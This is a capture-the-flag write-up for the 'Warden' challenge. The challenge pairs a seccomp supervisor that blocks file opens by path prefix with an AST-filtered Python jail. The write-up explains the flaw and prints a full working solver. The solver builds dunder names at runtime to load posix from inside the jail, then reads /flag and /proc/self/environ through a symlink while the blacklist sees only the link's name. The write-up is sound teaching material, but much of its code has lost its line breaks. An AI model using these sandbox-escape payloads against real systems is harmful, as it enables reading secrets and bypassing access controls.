Writeup
Warden 0xFun26 — Writeup
Warden — Writeup
This writeup details the solution for the “Warden” challenge. The service runs a restricted Python jail under a syscall supervisor that uses seccomp user notifications, and attempts to block sensitive file reads with a naive path-string blacklist.
Summary
The supervisor rejects open/openat calls when the pathname string begins with blacklisted prefixes (for example /flag). The bug is that it validates only the text argument passed to open/openat, not the resolved filesystem target.
By creating a symlink with an innocuous name (for example x -> /flag) and then doing open("x", ...), the Warden sees a safe-looking path ("x") while the kernel resolves it to the forbidden file.
To reach symlink/open/read/close from inside the Python jail (no import, no __ string literals, and no private attribute access), we load the built-in posix module via _frozen_importlib.BuiltinImporter, discovered using object.__subclasses__() with dynamically-built dunder names.
Key Code Snippets
The exploit has two key ingredients: (1) loading posix without an import, and (2) reading /flag via a symlink so the Warden never sees /flag in the syscall argument string.
Load posix without import:
du = '_'*2subs = getattr(object, du+'subclasses'+du)()kn = du+'name'+dukm = du+'module'+du
BI = Nonefor t in subs: try: if getattr(t, kn) == 'BuiltinImporter' and getattr(t, km) == '_frozen_importlib': BI = t break except Exception: pass
p = BI.load_module('posix')Bypass the path blacklist using a symlink open:
p.chdir('/tmp')p.symlink('/flag', 'x')fd = p.open('x', 0) # Warden sees "x", kernel resolves x -> /flagdata = p.read(fd, 65536)p.close(fd)Analysis
Components
warden (syscall watcher):
warden.c installs a seccomp filter that returns SECCOMP_RET_USER_NOTIF for selected syscalls. The parent reads the tracee’s pathname with process_vm_readv, checks it against a small blacklist (/flag, /root, /etc/shadow, etc.), and either denies with -EACCES or continues the syscall using SECCOMP_USER_NOTIF_FLAG_CONTINUE.
This is a classic path-based policy mistake: the string passed to open("x") is not the same thing as the file ultimately opened after symlink resolution, .. traversal, bind mounts, etc.
jail.py (Python jail):
The jail parses user code with ast.parse and rejects various AST nodes. It forbids:
import/from ... import ...eval/exec/compile/__import__/opencalls- Attribute access where the attribute name starts with
_(blocksobj.__class__, etc.) - Any string literal containing
__
It also executes with a small SAFE_BUILTINS (notably no __import__, __build_class__, etc.).
Why This Works
- Even in a jail, Python’s object model still exists. We can obtain
object.__subclasses__()by building the dunder name at runtime and calling it viagetattr. - Among subclasses we can locate
_frozen_importlib.BuiltinImporterand callload_module('posix')to get filesystem primitives without animportstatement. - The Warden’s enforcement point uses a string-prefix blacklist on syscall arguments. A symlink lets us keep the string benign while the resolved target points at the secret.
Exploitation and Flag Recovery
Step 1: Get posix in the jail
Use dynamically-generated dunder names plus getattr to avoid the jail’s AST filters, find BuiltinImporter, and load posix. This yields:
p.symlink,p.unlink,p.chdirp.open,p.read,p.closep.listdir(optional for shallow discovery)
Step 2: Create a symlink and open it
chdir("/tmp")to a writable directorysymlink("/flag", "x")open("x", O_RDONLY)andread(...)
Step 3: Send payload to the remote service
The service reads Python code from stdin until EOF, so the solver sends the payload then half-closes the socket write side to signal EOF.
Solver
#!/usr/bin/env python3import argparseimport socketimport subprocessimport sys
def build_payload() -> str: # This payload bypasses the AST restrictions and defeats the "blocked paths" # check by opening a symlink whose textual path isn't blocked. The Warden only # checks the *string argument* to open/openat, not the resolved path. # # Key constraints we satisfy: # - No "import" statements (AST-blocked) # - No string constants containing "__" (AST-blocked) # - No attribute access like obj.__x__ (Attribute nodes with "_" prefix blocked) # - No calling open() directly (blocked call) # # We dynamically construct "__subclasses__", find BuiltinImporter, load 'posix', # then use posix.symlink + posix.open/read/close. return r"""du = '_'*2subs = getattr(object, du+'subclasses'+du)()kn = du+'name'+dukm = du+'module'+du
BI = Nonefor t in subs: try: if getattr(t, kn) == 'BuiltinImporter' and getattr(t, km) == '_frozen_importlib': BI = t break except Exception: pass
if BI is None: print('no BuiltinImporter') raise Exception('no BuiltinImporter')
p = BI.load_module('posix')
def slurp(target): # Open via symlink "x" so the Warden only sees path "x" (not the real target). p.chdir('/tmp') try: p.unlink('x') except Exception: pass try: p.symlink(target, 'x') except Exception: return None try: fd = p.open('x', 0) except Exception: return None try: data = p.read(fd, 65536) except Exception: data = None try: p.close(fd) except Exception: pass return data
# We can't rely on SystemExit being available in SAFE_BUILTINS. Use a flag.found = False
# Try the usual suspects first.targets = [ '/flag', '/flag.txt', '/flag/flag', '/home/ctf/flag', '/home/ctf/flag.txt', '/home/challenge/flag', '/home/challenge/flag.txt', '/app/flag', '/app/flag.txt', '/challenge/flag', '/challenge/flag.txt', '/srv/flag', '/srv/flag.txt', '/run/secrets/flag', '/run/secrets/flag.txt',]
for t in targets: d = slurp(t) if d: try: print(d.decode()) except Exception: print(d) found = True break
def try_dir(base): try: names = p.listdir(base) except Exception: return False for nm in names: try: s = nm.decode() if hasattr(nm, 'decode') else str(nm) except Exception: continue sl = s.lower() # Avoid matching unrelated files like "payload_flaglike.py". if not (sl == 'flag' or sl == 'flag.txt' or sl.startswith('flag')): continue if 'payload' in sl: continue cand = base.rstrip('/') + '/' + s d = slurp(cand) if d: try: print(d.decode()) except Exception: print(d) return True return False
# Shallow scan common directories for anything with "flag" in the filename.if not found: for base in ['/', '/home', '/app', '/challenge', '/srv', '/var', '/opt']: if try_dir(base): found = True break
# Local fallback: prove execution in case the flag isn't reachable.if not found: d = slurp('/proc/self/environ') if d: try: # Often flags are provided as env vars. Make NUL-separated data readable. print(d.replace(b'\x00', b'\n').decode()) found = True except Exception: pass
if not found: d = slurp('/etc/hostname') if d: try: print(d.decode()) except Exception: print(d)""".lstrip("\n")
def solve_remote(host: str, port: int, timeout: float) -> str: payload = build_payload().encode() with socket.create_connection((host, port), timeout=timeout) as s: # The jail reads until EOF. Send payload then half-close write end. s.sendall(payload) try: s.shutdown(socket.SHUT_WR) except OSError: pass
s.settimeout(timeout) chunks = [] while True: try: b = s.recv(4096) except socket.timeout: break if not b: break chunks.append(b) return b"".join(chunks).decode(errors="replace")
def solve_local(timeout: float) -> str: payload = build_payload().encode() # Warden only allows the first exec*. Use the absolute python path to avoid # wrapper execs (e.g. /usr/bin/python3 -> python3.14). p = subprocess.run( ["./warden", "/usr/bin/python3", "jail.py"], input=payload, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=timeout, ) return p.stdout.decode(errors="replace")
def main() -> int: ap = argparse.ArgumentParser() ap.add_argument("--host", default="chall.0xfun.org") ap.add_argument("--port", default=24146, type=int) ap.add_argument("--timeout", default=10.0, type=float) ap.add_argument("--local", action="store_true", help="run against local ./warden + jail.py") args = ap.parse_args()
try: out = solve_local(args.timeout) if args.local else solve_remote(args.host, args.port, args.timeout) except (OSError, subprocess.TimeoutExpired) as e: print(f"[!] failed: {e}", file=sys.stderr) return 2
sys.stdout.write(out) if out and not out.endswith("\n"): sys.stdout.write("\n") return 0
if __name__ == "__main__": raise SystemExit(main())Final Result
0xfun{wh0_w4tch3s_th3_w4rd3n_t0ctou_r4c3}